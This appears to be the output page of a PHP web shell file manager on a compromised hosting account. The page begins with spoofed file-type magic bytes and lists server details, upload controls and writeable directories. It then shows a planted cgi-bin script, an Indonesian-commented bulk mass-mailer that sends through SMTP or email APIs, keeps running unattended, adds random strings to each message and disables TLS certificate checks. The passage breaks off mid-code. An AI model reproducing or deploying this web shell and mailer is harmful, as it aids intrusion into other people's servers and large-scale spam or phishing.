%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/public_html/website_1ec2d7c2/cgi-bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/public_html/website_1ec2d7c2/cgi-bin/mailer.php
<?php
/**
 * ================================================================
 * SUPER MAILER - VERSI LENGKAP
 * (SMTP + mail() + BREVO + SENDGRID + MANDRILL + SMTP2GO + TAG + cURL)
 * ================================================================
 * Driver:
 * - smtp     : SMTP native (AUTH PLAIN + fallback LOGIN)
 * - mail     : mail() bawaan PHP
 * - brevo    : Brevo API v3
 * - sendgrid : SendGrid API v3
 * - mandrill : Mandrill API v1
 * - smtp2go  : SMTP2GO API v3 (https://api.smtp2go.com/v3/email/send)
 *
 * TAG: {email}, {name}, ##randomstring##
 * ================================================================
 */

// ============================================================
// DETEKSI MODE
// ============================================================
$rawInput = file_get_contents('php://input');
$jsonPayload = json_decode($rawInput, true);
$isJsonRequest = is_array($jsonPayload);

if ($isJsonRequest) {
    foreach ($jsonPayload as $k => $v) {
        if ($k === 'recipients' && is_array($v)) {
            $lines = array();
            foreach ($v as $r) {
                if (is_string($r)) {
                    $lines[] = $r;
                } elseif (is_array($r) && !empty($r['email'])) {
                    $lines[] = (!empty($r['name']) ? $r['name'] . ' ' : '') . '<' . $r['email'] . '>';
                }
            }
            $_POST['recipients'] = implode("\n", $lines);
        } else {
            $_POST[$k] = $v;
        }
    }
}

$wantJson = (
    (isset($_SERVER['HTTP_ACCEPT']) && stripos($_SERVER['HTTP_ACCEPT'], 'application/json') !== false) ||
    (isset($_GET['format']) && $_GET['format'] === 'json') ||
    $isJsonRequest
);

$isPost = ($_SERVER['REQUEST_METHOD'] === 'POST');
$hasData = !empty($_POST['recipients']) && !empty($_POST['subject']);
$shouldProcess = $isPost && ($hasData || isset($_POST['submit']));


// ============================================================
// PROSES KIRIM
// ============================================================
if ($shouldProcess) {

    error_reporting(E_ALL);
    ini_set('display_errors', 1);
    ignore_user_abort(true);
    set_time_limit(0);

    if ($wantJson) {
        header('Content-Type: application/json; charset=utf-8');
        ob_start();
    } else {
        header('Content-Type: text/plain; charset=utf-8');
        if (ob_get_level()) ob_end_clean();
        echo "šŸš€ PROSES PENGIRIMAN DIMULAI... (Browser boleh ditutup)\n\n";
        flush();
    }

    // --- Ambil data ---
    $driver     = isset($_POST['driver']) ? $_POST['driver'] : 'smtp';
    $from_email = trim(isset($_POST['from_email']) ? $_POST['from_email'] : '');
    $from_name  = trim(isset($_POST['from_name']) ? $_POST['from_name'] : '');
    $subject    = trim(isset($_POST['subject']) ? $_POST['subject'] : '');
    $html_body  = isset($_POST['html_body']) ? $_POST['html_body'] : '';
    $text_body  = isset($_POST['text_body']) ? $_POST['text_body'] : '';
    $delay      = (int) (isset($_POST['delay']) ? $_POST['delay'] : 500000);

    if (empty($subject)) {
        if ($wantJson) {
            ob_end_clean();
            http_response_code(400);
            echo json_encode(array('success' => false, 'error' => "'subject' wajib diisi."));
        } else {
            echo "āŒ 'subject' wajib diisi.\n";
        }
        exit;
    }

    // --- Parsing penerima ---
    $recipients = array();
    $recipientsRaw = isset($_POST['recipients']) ? $_POST['recipients'] : '';

    if (is_array($recipientsRaw)) {
        foreach ($recipientsRaw as $r) {
            if (is_string($r)) {
                $recipients[] = array('email' => trim($r), 'name' => '');
            } elseif (is_array($r) && !empty($r['email'])) {
                $recipients[] = array(
                    'email' => trim($r['email']),
                    'name'  => isset($r['name']) ? trim($r['name']) : ''
                );
            }
        }
    } else {
        foreach (explode("\n", $recipientsRaw) as $line) {
            $line = trim($line);
            if (empty($line)) continue;
            if (preg_match('/^(.*?)\s*<([^>]+)>$/', $line, $m)) {
                $recipients[] = array('email' => trim($m[2]), 'name' => trim($m[1]));
            } else {
                $recipients[] = array('email' => $line, 'name' => '');
            }
        }
    }

    if (empty($recipients)) {
        if ($wantJson) {
            ob_end_clean();
            http_response_code(400);
            echo json_encode(array('success' => false, 'error' => 'Daftar penerima kosong.'));
        } else {
            echo "āŒ Daftar penerima kosong.\n";
        }
        exit;
    }

    // --- Konfigurasi ---
    $config = array(
        'driver'     => $driver,
        'from_email' => $from_email,
        'from_name'  => $from_name,
        'log_file'   => '',
        'debug'      => !empty($_POST['debug']),
    );

    if ($driver === 'smtp') {
        $config['smtp_host']       = trim(isset($_POST['smtp_host']) ? $_POST['smtp_host'] : '');
        $config['smtp_port']       = (int) (isset($_POST['smtp_port']) ? $_POST['smtp_port'] : 587);
        $config['smtp_user']       = trim(isset($_POST['smtp_user']) ? $_POST['smtp_user'] : '');
        $config['smtp_pass']       = trim(isset($_POST['smtp_pass']) ? $_POST['smtp_pass'] : '');
        $config['smtp_encryption'] = isset($_POST['smtp_encryption']) ? $_POST['smtp_encryption'] : 'tls';
    } elseif ($driver === 'brevo') {
        $config['brevo_api_key'] = trim(isset($_POST['brevo_api_key']) ? $_POST['brevo_api_key'] : '');
        if (empty($config['brevo_api_key']) && getenv('BREVO_API_KEY')) {
            $config['brevo_api_key'] = getenv('BREVO_API_KEY');
        }
    } elseif ($driver === 'sendgrid') {
        $config['sendgrid_api_key'] = trim(isset($_POST['sendgrid_api_key']) ? $_POST['sendgrid_api_key'] : '');
        if (empty($config['sendgrid_api_key']) && getenv('SENDGRID_API_KEY')) {
            $config['sendgrid_api_key'] = getenv('SENDGRID_API_KEY');
        }
    } elseif ($driver === 'mandrill') {
        $config['mandrill_api_key'] = trim(isset($_POST['mandrill_api_key']) ? $_POST['mandrill_api_key'] : '');
        if (empty($config['mandrill_api_key']) && getenv('MANDRILL_API_KEY')) {
            $config['mandrill_api_key'] = getenv('MANDRILL_API_KEY');
        }
    } elseif ($driver === 'smtp2go') {
        $config['smtp2go_api_key'] = trim(isset($_POST['smtp2go_api_key']) ? $_POST['smtp2go_api_key'] : '');
        if (empty($config['smtp2go_api_key']) && getenv('SMTP2GO_API_KEY')) {
            $config['smtp2go_api_key'] = getenv('SMTP2GO_API_KEY');
        }
    }

    // --- Lampiran ---
    $attachments = array();
    if (isset($_FILES['attachment']) && $_FILES['attachment']['error'] === UPLOAD_ERR_OK) {
        $attachments[] = array(
            'path' => $_FILES['attachment']['tmp_name'],
            'name' => $_FILES['attachment']['name']
        );
    }
    if ($isJsonRequest && !empty($jsonPayload['attachments']) && is_array($jsonPayload['attachments'])) {
        foreach ($jsonPayload['attachments'] as $att) {
            if (empty($att['filename']) || empty($att['content_base64'])) continue;
            $tmpPath = sys_get_temp_dir() . '/mail_att_' . md5(uniqid('', true));
            if (file_put_contents($tmpPath, base64_decode($att['content_base64'])) !== false) {
                $attachments[] = array('path' => $tmpPath, 'name' => $att['filename']);
            }
        }
    }

    // ============================================================
    // CLASS SimpleSMTP
    // ============================================================
    class SimpleSMTP {
        private $socket, $host, $port, $username, $password, $encryption, $timeout = 30, $debug = false;
        public function __construct($host, $port, $username, $password, $encryption = 'tls', $debug = false) {
            $this->host = $host; $this->port = $port; $this->username = $username;
            $this->password = $password; $this->encryption = $encryption; $this->debug = $debug;
        }
        private function getResponse() {
            $data = '';
            while ($line = fgets($this->socket, 1024)) {
                $data .= $line;
                $this->debugLog("S: " . trim($line));
                if (isset($line[3]) && $line[3] === ' ') break;
            }
            return $data;
        }
        private function sendCommand($cmd) {
            $this->debugLog("C: " . trim($cmd));
            fputs($this->socket, $cmd . "\r\n");
            return $this->getResponse();
        }
        private function debugLog($msg) {
            if ($this->debug) @file_put_contents(__DIR__ . '/smtp_debug.log', date('Y-m-d H:i:s') . ' ' . $msg . "\n", FILE_APPEND);
        }
        public function connect() {
            $host = $this->host;
            if ($this->encryption === 'ssl') $host = 'ssl://' . $host;
            $this->socket = @fsockopen($host, $this->port, $errno, $errstr, $this->timeout);
            if (!$this->socket) throw new Exception("Gagal koneksi: $errstr ($errno)");
            $resp = $this->getResponse();
            if (substr($resp, 0, 3) !== '220') throw new Exception("Server tidak siap 220: $resp");
            $resp = $this->sendCommand('EHLO ' . (gethostname() ?: 'localhost'));
            if (substr($resp, 0, 3) !== '250') throw new Exception("EHLO gagal: $resp");
            if ($this->encryption === 'tls') {
                $resp = $this->sendCommand('STARTTLS');
                if (substr($resp, 0, 3) !== '220') throw new Exception("STARTTLS gagal: $resp");
                stream_context_set_option($this->socket, 'ssl', 'verify_peer', false);
                stream_context_set_option($this->socket, 'ssl', 'verify_peer_name', false);
                stream_context_set_option($this->socket, 'ssl', 'allow_self_signed', true);
                if (!@stream_socket_enable_crypto($this->socket, true, STREAM_CRYPTO_METHOD_TLS_CLIENT)) {
                    throw new Exception("Gagal upgrade TLS.");
                }
                $resp = $this->sendCommand('EHLO ' . (gethostname() ?: 'localhost'));
                if (substr($resp, 0, 3) !== '250') throw new Exception("EHLO ulang gagal: $resp");
            }
            $supportsPlain = (stripos($resp, 'AUTH') !== false && stripos($resp, 'PLAIN') !== false);
            $supportsLogin = (stripos($resp, 'AUTH') !== false && stripos($resp, 'LOGIN') !== false);
            $authed = false; $lastError = '';
            if ($supportsPlain || !$supportsLogin) {
                $plain = base64_encode("\0" . $this->username . "\0" . $this->password);
                $resp = $this->sendCommand('AUTH PLAIN ' . $plain);
                if (substr($resp, 0, 3) === '235') { $authed = true; }
                else { $lastError = "AUTH PLAIN gagal: $resp"; }
            }
            if (!$authed) {
                $resp = $this->sendCommand('AUTH LOGIN');
                if (substr($resp, 0, 3) === '334') {
                    $resp = $this->sendCommand(base64_encode($this->username));
                    if (substr($resp, 0, 3) === '334') {
                        $resp = $this->sendCommand(base64_encode($this->password));
                        if (substr($resp, 0, 3) === '235') { $authed = true; }
                        else { $lastError .= " | LOGIN pass: $resp"; }
                    } else { $lastError .= " | LOGIN user: $resp"; }
                } else { $lastError .= " | LOGIN init: $resp"; }
            }
            if (!$authed) throw new Exception("Autentikasi gagal. " . $lastError);
            return true;
        }
        public function sendMail($from, $fromName, $to, $subject, $htmlBody, $textBody = '', $attachments = array()) {
            $resp = $this->sendCommand("MAIL FROM: <$from>");
            if (substr($resp, 0, 3) !== '250') throw new Exception("MAIL FROM gagal: $resp");
            $resp = $this->sendCommand("RCPT TO: <$to>");
            if (substr($resp, 0, 3) !== '250' && substr($resp, 0, 3) !== '251') throw new Exception("RCPT TO gagal: $resp");
            $resp = $this->sendCommand('DATA');
            if (substr($resp, 0, 3) !== '354') throw new Exception("DATA gagal: $resp");
            $boundary = '----=_Part_' . md5(uniqid('', true));
            $fromHeader = $fromName ? $this->encodeHeader($fromName) . " <$from>" : $from;
            $headers = array(
                "MIME-Version: 1.0",
                "From: $fromHeader",
                "To: $to",
                "Subject: " . $this->encodeHeader($subject),
                "Date: " . date('r'),
                "Message-ID: <" . md5(uniqid('', true)) . "@" . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost') . ">",
                "Content-Type: multipart/mixed; boundary=\"$boundary\""
            );
            $body = '';
            $altBoundary = $boundary . '_alt';
            $body .= "--$boundary\r\n";
            $body .= "Content-Type: multipart/alternative; boundary=\"$altBoundary\"\r\n\r\n";
            $plain = $textBody ?: strip_tags($htmlBody);
            $body .= "--$altBoundary\r\n";
            $body .= "Content-Type: text/plain; charset=utf-8\r\n";
            $body .= "Content-Transfer-Encoding: 8bit\r\n\r\n$plain\r\n\r\n";
            if ($htmlBody) {
                $body .= "--$altBoundary\r\n";
                $body .= "Content-Type: text/html; charset=utf-8\r\n";
                $body .= "Content-Transfer-Encoding: 8bit\r\n\r\n$htmlBody\r\n\r\n";
            }
            $body .= "--$altBoundary--\r\n\r\n";
            foreach ($attachments as $att) {
                if (!is_file($att['path'])) continue;
                $data = file_get_contents($att['path']);
                $mime = function_exists('mime_content_type') ? @mime_content_type($att['path']) : 'application/octet-stream';
                if (!$mime) $mime = 'application/octet-stream';
                $fname = $att['name'] ?: basename($att['path']);
                $body .= "--$boundary\r\n";
                $body .= "Content-Type: $mime; name=\"{$fname}\"\r\n";
                $body .= "Content-Disposition: attachment; filename=\"{$fname}\"\r\n";
                $body .= "Content-Transfer-Encoding: base64\r\n\r\n";
                $body .= chunk_split(base64_encode($data)) . "\r\n";
            }
            $body .= "--$boundary--\r\n";
            $payload = implode("\r\n", $headers) . "\r\n\r\n" . $body;
            $payload = preg_replace('/^\./m', '..', $payload);
            fputs($this->socket, $payload . "\r\n.\r\n");
            $resp = $this->getResponse();
            if (substr($resp, 0, 3) !== '250') throw new Exception("Kirim gagal: $resp");
            return true;
        }
        public function quit() {
            if ($this->socket) { $this->sendCommand('QUIT'); fclose($this->socket); }
        }
        private function encodeHeader($str) {
            if (preg_match('/[^\x20-\x7E]/', $str)) return '=?UTF-8?B?' . base64_encode($str) . '?=';
            return $str;
        }
    }

    // ============================================================
    // CLASS BrevoMailer
    // ============================================================
    class BrevoMailer {
        private $apiKey, $debug = false;
        const ENDPOINT = 'https://api.brevo.com/v3/smtp/email';
        public function __construct($apiKey, $debug = false) { $this->apiKey = $apiKey; $this->debug = $debug; }
        private function debugLog($msg) { if ($this->debug) @file_put_contents(__DIR__ . '/brevo_debug.log', date('Y-m-d H:i:s') . ' ' . $msg . "\n", FILE_APPEND); }
        public function sendMail($fromEmail, $fromName, $toEmail, $toName, $subject, $htmlBody, $textBody = '', $attachments = array()) {
            $payload = array(
                'sender' => array('name' => $fromName ?: $fromEmail, 'email' => $fromEmail),
                'to' => array(array('email' => $toEmail, 'name' => $toName ?: $toEmail)),
                'subject' => $subject, 'htmlContent' => $htmlBody,
            );
            if (!empty($textBody)) $payload['textContent'] = $textBody;
            if (!empty($attachments)) {
                $attPayload = array();
                foreach ($attachments as $att) {
                    if (!is_file($att['path'])) continue;
                    $attPayload[] = array('content' => base64_encode(file_get_contents($att['path'])), 'name' => $att['name'] ?: basename($att['path']));
                }
                if (!empty($attPayload)) $payload['attachment'] = $attPayload;
            }
            $json = json_encode($payload, JSON_UNESCAPED_UNICODE);
            $this->debugLog("Request: " . $json);
            $ch = curl_init(self::ENDPOINT);
            curl_setopt_array($ch, array(
                CURLOPT_POST => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 30,
                CURLOPT_HTTPHEADER => array('accept: application/json', 'content-type: application/json', 'api-key: ' . $this->apiKey),
                CURLOPT_POSTFIELDS => $json,
            ));
            $response = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            $curlErr = curl_error($ch);
            curl_close($ch);
            $this->debugLog("HTTP $httpCode: $response");
            if ($curlErr) throw new Exception("cURL error: $curlErr");
            $respData = json_decode($response, true);
            if ($httpCode >= 200 && $httpCode < 300) return is_array($respData) ? $respData : array('raw' => $response);
            $errMsg = 'Brevo API error';
            if (is_array($respData)) {
                if (isset($respData['message'])) $errMsg .= ': ' . $respData['message'];
                elseif (isset($respData['error'])) $errMsg .= ': ' . $respData['error'];
                else $errMsg .= ': ' . $response;
                if (isset($respData['code'])) $errMsg = "[{$respData['code']}] " . $errMsg;
            } else $errMsg .= ': ' . $response;
            if ($httpCode === 401) $errMsg .= ' (API key salah)';
            elseif ($httpCode === 400) $errMsg .= ' (Request invalid)';
            elseif ($httpCode === 402) $errMsg .= ' (Kuota habis)';
            elseif ($httpCode === 429) $errMsg .= ' (Rate limit)';
            throw new Exception($errMsg);
        }
    }

    // ============================================================
    // CLASS SendGridMailer
    // ============================================================
    class SendGridMailer {
        private $apiKey, $debug = false;
        const ENDPOINT = 'https://api.sendgrid.com/v3/mail/send';
        public function __construct($apiKey, $debug = false) { $this->apiKey = $apiKey; $this->debug = $debug; }
        private function debugLog($msg) { if ($this->debug) @file_put_contents(__DIR__ . '/sendgrid_debug.log', date('Y-m-d H:i:s') . ' ' . $msg . "\n", FILE_APPEND); }
        public function sendMail($fromEmail, $fromName, $toEmail, $toName, $subject, $htmlBody, $textBody = '', $attachments = array()) {
            $personalization = array('to' => array(array('email' => $toEmail, 'name' => $toName ?: $toEmail)), 'subject' => $subject);
            $payload = array(
                'personalizations' => array($personalization),
                'from' => array('email' => $fromEmail, 'name' => $fromName ?: $fromEmail),
                'content' => array(),
            );
            if (!empty($textBody)) $payload['content'][] = array('type' => 'text/plain', 'value' => $textBody);
            if (!empty($htmlBody)) $payload['content'][] = array('type' => 'text/html', 'value' => $htmlBody);
            if (empty($payload['content'])) $payload['content'][] = array('type' => 'text/plain', 'value' => strip_tags($htmlBody));
            if (!empty($attachments)) {
                $attPayload = array();
                foreach ($attachments as $att) {
                    if (!is_file($att['path'])) continue;
                    $mime = function_exists('mime_content_type') ? @mime_content_type($att['path']) : 'application/octet-stream';
                    if (!$mime) $mime = 'application/octet-stream';
                    $attPayload[] = array('content' => base64_encode(file_get_contents($att['path'])), 'filename' => $att['name'] ?: basename($att['path']), 'type' => $mime, 'disposition' => 'attachment');
                }
                if (!empty($attPayload)) $payload['attachments'] = $attPayload;
            }
            $json = json_encode($payload, JSON_UNESCAPED_UNICODE);
            $this->debugLog("Request: " . $json);
            $ch = curl_init(self::ENDPOINT);
            curl_setopt_array($ch, array(
                CURLOPT_POST => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 30,
                CURLOPT_HEADER => true,
                CURLOPT_HTTPHEADER => array('Authorization: Bearer ' . $this->apiKey, 'Content-Type: application/json'),
                CURLOPT_POSTFIELDS => $json,
            ));
            $response = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
            $curlErr = curl_error($ch);
            curl_close($ch);
            if ($curlErr) throw new Exception("cURL error: $curlErr");
            $headers = substr($response, 0, $headerSize);
            $body = substr($response, $headerSize);
            $this->debugLog("HTTP $httpCode | Headers: $headers | Body: $body");
            if ($httpCode === 202) {
                $messageId = '';
                if (preg_match('/X-Message-Id:\s*(.+)/i', $headers, $m)) $messageId = trim($m[1]);
                return array('messageId' => $messageId);
            }
            $errMsg = 'SendGrid API error';
            $respData = json_decode($body, true);
            if (is_array($respData) && !empty($respData['errors'])) {
                $errList = array();
                foreach ($respData['errors'] as $e) $errList[] = (isset($e['field']) ? $e['field'] . ': ' : '') . (isset($e['message']) ? $e['message'] : 'unknown');
                $errMsg .= ': ' . implode('; ', $errList);
            } else $errMsg .= ': ' . trim($body);
            if ($httpCode === 401) $errMsg .= ' (API key salah)';
            elseif ($httpCode === 400) $errMsg .= ' (Request invalid)';
            elseif ($httpCode === 403) $errMsg .= ' (Sender belum verified)';
            elseif ($httpCode === 413) $errMsg .= ' (Payload terlalu besar)';
            elseif ($httpCode === 429) $errMsg .= ' (Rate limit)';
            throw new Exception($errMsg);
        }
    }

    // ============================================================
    // CLASS MandrillMailer
    // ============================================================
    class MandrillMailer {
        private $apiKey, $debug = false;
        const ENDPOINT = 'https://mandrillapp.com/api/1.0/messages/send.json';
        public function __construct($apiKey, $debug = false) { $this->apiKey = $apiKey; $this->debug = $debug; }
        private function debugLog($msg) { if ($this->debug) @file_put_contents(__DIR__ . '/mandrill_debug.log', date('Y-m-d H:i:s') . ' ' . $msg . "\n", FILE_APPEND); }
        public function sendMail($fromEmail, $fromName, $toEmail, $toName, $subject, $htmlBody, $textBody = '', $attachments = array()) {
            $message = array(
                'from_email' => $fromEmail,
                'from_name'  => $fromName ?: $fromEmail,
                'subject'    => $subject,
                'to' => array(array('email' => $toEmail, 'name' => $toName ?: $toEmail, 'type' => 'to')),
            );
            if (!empty($htmlBody)) $message['html'] = $htmlBody;
            if (!empty($textBody)) $message['text'] = $textBody;
            if (empty($message['html']) && empty($message['text'])) $message['text'] = strip_tags($htmlBody);
            if (!empty($attachments)) {
                $attPayload = array();
                foreach ($attachments as $att) {
                    if (!is_file($att['path'])) continue;
                    $mime = function_exists('mime_content_type') ? @mime_content_type($att['path']) : 'application/octet-stream';
                    if (!$mime) $mime = 'application/octet-stream';
                    $attPayload[] = array('type' => $mime, 'name' => $att['name'] ?: basename($att['path']), 'content' => base64_encode(file_get_contents($att['path'])));
                }
                if (!empty($attPayload)) $message['attachments'] = $attPayload;
            }
            $payload = array('key' => $this->apiKey, 'message' => $message, 'async' => false);
            $json = json_encode($payload, JSON_UNESCAPED_UNICODE);
            $this->debugLog("Request: " . $json);
            $ch = curl_init(self::ENDPOINT);
            curl_setopt_array($ch, array(
                CURLOPT_POST => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 30,
                CURLOPT_HTTPHEADER => array('Content-Type: application/json', 'Accept: application/json'),
                CURLOPT_POSTFIELDS => $json,
            ));
            $response = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            $curlErr = curl_error($ch);
            curl_close($ch);
            $this->debugLog("HTTP $httpCode: $response");
            if ($curlErr) throw new Exception("cURL error: $curlErr");
            $respData = json_decode($response, true);
            if ($httpCode === 200 && is_array($respData)) {
                $first = isset($respData[0]) ? $respData[0] : $respData;
                $status = isset($first['status']) ? $first['status'] : 'unknown';
                $id     = isset($first['_id']) ? $first['_id'] : '';
                $reject = isset($first['reject_reason']) ? $first['reject_reason'] : '';
                if ($status === 'sent' || $status === 'queued') return array('messageId' => $id, 'status' => $status);
                $errMsg = "Mandrill rejected: status=$status";
                if ($reject) $errMsg .= " | reason=$reject";
                if (isset($first['email'])) $errMsg .= " | email=" . $first['email'];
                throw new Exception($errMsg);
            }
            $errMsg = 'Mandrill API error';
            if (is_array($respData) && isset($respData['message'])) {
                $errMsg .= ': ' . $respData['message'];
                if (isset($respData['name'])) $errMsg = "[{$respData['name']}] " . $errMsg;
            } else $errMsg .= ': ' . trim($response);
            if ($httpCode === 401) $errMsg .= ' (API key salah)';
            elseif ($httpCode === 400) $errMsg .= ' (Request invalid)';
            elseif ($httpCode === 500) $errMsg .= ' (Server error)';
            throw new Exception($errMsg);
        }
    }

    // ============================================================
    // CLASS Smtp2GoMailer
    // SMTP2GO API v3: POST https://api.smtp2go.com/v3/email/send
    // Auth: API key dikirim via header "X-Smtp2go-Api-Key" ATAU body "api_key"
    // Sukses: HTTP 200 dengan data.succeeded >= 1
    // ============================================================
    class Smtp2GoMailer {
        private $apiKey, $debug = false;
        const ENDPOINT = 'https://api.smtp2go.com/v3/email/send';

        public function __construct($apiKey, $debug = false) {
            $this->apiKey = $apiKey;
            $this->debug  = $debug;
        }

        private function debugLog($msg) {
            if ($this->debug) @file_put_contents(__DIR__ . '/smtp2go_debug.log', date('Y-m-d H:i:s') . ' ' . $msg . "\n", FILE_APPEND);
        }

        public function sendMail($fromEmail, $fromName, $toEmail, $toName, $subject, $htmlBody, $textBody = '', $attachments = array()) {
            // Bangun payload sesuai skema SMTP2GO v3
            $payload = array(
                'api_key' => $this->apiKey,
                'to'      => array($toName ? "$toName <$toEmail>" : $toEmail),
                'sender'  => $fromName ? "$fromName <$fromEmail>" : $fromEmail,
                'subject' => $subject,
            );

            if (!empty($htmlBody)) $payload['html_body'] = $htmlBody;
            if (!empty($textBody)) $payload['text_body'] = $textBody;
            if (empty($payload['html_body']) && empty($payload['text_body'])) {
                $payload['text_body'] = strip_tags($htmlBody);
            }

            // Lampiran: filename, fileblob (base64), mimetype
            if (!empty($attachments)) {
                $attPayload = array();
                foreach ($attachments as $att) {
                    if (!is_file($att['path'])) continue;
                    $mime = function_exists('mime_content_type') ? @mime_content_type($att['path']) : 'application/octet-stream';
                    if (!$mime) $mime = 'application/octet-stream';
                    $attPayload[] = array(
                        'filename' => $att['name'] ?: basename($att['path']),
                        'fileblob' => base64_encode(file_get_contents($att['path'])),
                        'mimetype' => $mime,
                    );
                }
                if (!empty($attPayload)) $payload['attachments'] = $attPayload;
            }

            $json = json_encode($payload, JSON_UNESCAPED_UNICODE);
            $this->debugLog("Request: " . $json);

            $ch = curl_init(self::ENDPOINT);
            curl_setopt_array($ch, array(
                CURLOPT_POST           => true,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT        => 30,
                CURLOPT_HTTPHEADER     => array(
                    'Content-Type: application/json',
                    'Accept: application/json',
                ),
                CURLOPT_POSTFIELDS     => $json,
            ));

            $response = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            $curlErr  = curl_error($ch);
            curl_close($ch);

            $this->debugLog("HTTP $httpCode: $response");

            if ($curlErr) throw new Exception("cURL error: $curlErr");

            $respData = json_decode($response, true);

            // SMTP2GO sukses = HTTP 200 dengan data.succeeded >= 1
            if ($httpCode === 200 && is_array($respData)) {
                $data = isset($respData['data']) ? $respData['data'] : array();
                $succeeded = isset($data['succeeded']) ? (int)$data['succeeded'] : 0;
                $failed    = isset($data['failed']) ? (int)$data['failed'] : 0;
                $emailId   = isset($data['email_id']) ? $data['email_id'] : '';

                if ($succeeded > 0) {
                    return array('messageId' => $emailId, 'status' => 'sent');
                }

                // Kalau failed > 0, ambil detail failure
                $errMsg = "SMTP2GO failed";
                if (!empty($data['failures']) && is_array($data['failures'])) {
                    $errList = array();
                    foreach ($data['failures'] as $f) {
                        $errList[] = (isset($f['email']) ? $f['email'] . ': ' : '') . (isset($f['error']) ? $f['error'] : 'unknown');
                    }
                    $errMsg .= ': ' . implode('; ', $errList);
                }
                throw new Exception($errMsg);
            }

            // Error handling
            $errMsg = 'SMTP2GO API error';
            if (is_array($respData) && !empty($respData['data']['error'])) {
                $errMsg .= ': ' . $respData['data']['error'];
                if (!empty($respData['data']['error_code'])) $errMsg = "[{$respData['data']['error_code']}] " . $errMsg;
            } else {
                $errMsg .= ': ' . trim($response);
            }

            if ($httpCode === 400) $errMsg .= ' (Request invalid, cek sender & format email)';
            elseif ($httpCode === 401) $errMsg .= ' (API key salah)';
            elseif ($httpCode === 403) $errMsg .= ' (Sender belum verified di SMTP2GO)';
            elseif ($httpCode === 429) $errMsg .= ' (Rate limit)';

            throw new Exception($errMsg);
        }
    }

    // ============================================================
    // CLASS BulkMailer
    // ============================================================
    class BulkMailer {
        private $config, $logFile, $sentCount = 0, $failCount = 0, $results = array();
        public function __construct($config) {
            $this->config = $config;
            $this->logFile = isset($config['log_file']) ? $config['log_file'] : null;
        }
        private function log($msg) {
            if ($this->logFile) @file_put_contents($this->logFile, date('Y-m-d H:i:s') . ' ' . $msg . "\n", FILE_APPEND);
            echo $msg . "\n"; flush();
        }
        private function generateRandomString($length = 16) {
            if (function_exists('random_bytes')) {
                try {
                    $bytes = random_bytes((int)ceil($length / 2));
                    return substr(bin2hex($bytes), 0, $length);
                } catch (Exception $e) { }
            }
            $chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
            $str = '';
            for ($i = 0; $i < $length; $i++) $str .= $chars[mt_rand(0, strlen($chars) - 1)];
            return $str;
        }

        public function sendBulk($recipients, $subject, $htmlBody, $textBody = '', $attachments = array(), $delayMicroseconds = 500000) {
            $driver = $this->config['driver'];
            $this->log("šŸ“Ø Driver: " . strtoupper($driver) . " | Total: " . count($recipients));

            $smtp     = null;
            $brevo    = null;
            $sendgrid = null;
            $mandrill = null;
            $smtp2go  = null;

            if ($driver === 'smtp') {
                try {
                    $smtp = new SimpleSMTP(
                        $this->config['smtp_host'], $this->config['smtp_port'],
                        $this->config['smtp_user'], $this->config['smtp_pass'],
                        $this->config['smtp_encryption'], $this->config['debug']
                    );
                    $smtp->connect();
                    $this->log("āœ… Koneksi SMTP berhasil.");
                } catch (Exception $e) {
                    $this->log("āŒ Koneksi SMTP gagal: " . $e->getMessage());
                    return;
                }
            } elseif ($driver === 'brevo') {
                if (empty($this->config['brevo_api_key'])) { $this->log("āŒ Brevo API key kosong."); return; }
                $brevo = new BrevoMailer($this->config['brevo_api_key'], $this->config['debug']);
                $this->log("āœ… Brevo API siap.");
            } elseif ($driver === 'sendgrid') {
                if (empty($this->config['sendgrid_api_key'])) { $this->log("āŒ SendGrid API key kosong."); return; }
                $sendgrid = new SendGridMailer($this->config['sendgrid_api_key'], $this->config['debug']);
                $this->log("āœ… SendGrid API siap.");
            } elseif ($driver === 'mandrill') {
                if (empty($this->config['mandrill_api_key'])) { $this->log("āŒ Mandrill API key kosong."); return; }
                $mandrill = new MandrillMailer($this->config['mandrill_api_key'], $this->config['debug']);
                $this->log("āœ… Mandrill API siap.");
            } elseif ($driver === 'smtp2go') {
                if (empty($this->config['smtp2go_api_key'])) { $this->log("āŒ SMTP2GO API key kosong."); return; }
                $smtp2go = new Smtp2GoMailer($this->config['smtp2go_api_key'], $this->config['debug']);
                $this->log("āœ… SMTP2GO API siap.");
            }

            foreach ($recipients as $index => $recip) {
                $email = trim($recip['email']);
                $name  = trim($recip['name'] ?: '');

                if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
                    $this->log("āš ļø Lewati (email tidak valid): $email");
                    $this->failCount++;
                    $this->results[] = array('email' => $email, 'status' => 'invalid');
                    continue;
                }

                $randomString = $this->generateRandomString(16);
                $displayName  = $name ?: explode('@', $email)[0];

                $search  = array('{email}', '{name}', '##randomstring##');
                $replace = array($email,    $displayName, $randomString);

                $recipSubject = str_replace($search, $replace, $subject);
                $recipHtml    = str_replace($search, $replace, $htmlBody);
                $recipText    = str_replace($search, $replace, $textBody);

                try {
                    if ($driver === 'smtp') {
                        $smtp->sendMail($this->config['from_email'], $this->config['from_name'], $email, $recipSubject, $recipHtml, $recipText, $attachments);
                    } elseif ($driver === 'brevo') {
                        $resp = $brevo->sendMail($this->config['from_email'], $this->config['from_name'], $email, $displayName, $recipSubject, $recipHtml, $recipText, $attachments);
